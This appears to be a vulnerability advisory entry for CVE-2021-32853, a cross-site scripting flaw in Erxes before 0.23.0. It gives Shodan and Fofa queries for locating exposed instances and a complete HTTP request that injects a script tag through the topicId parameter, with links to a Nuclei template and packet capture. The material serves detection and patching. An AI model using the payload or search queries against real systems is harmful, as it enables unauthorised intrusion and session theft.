| Title | Erxes <0.23.0 - Cross-Site Scripting |
|---|---|
| Author | dwisiswant0 |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Upgrade to Erxes version 0.23.0 or later to mitigate the vulnerability. |
| CVSS Score | 9.6 |
| EPSS Score | 0.85495 |
| CVE ID | CVE-2021-32853 |
| CWE ID | CWE-79 |
| Shodan Query | http.title:"erxes" |
| Fofa Query | title="erxes" |
| Tags | cve2021 cve xss erxes oss vuln |
Erxes before 0.23.0 contains a cross-site scripting vulnerability. The value of topicID parameter is not escaped and is triggered in the enclosing script tag.
GET /widgets/knowledgebase?topicId=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-32853.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-32853.pcap
N/AN/A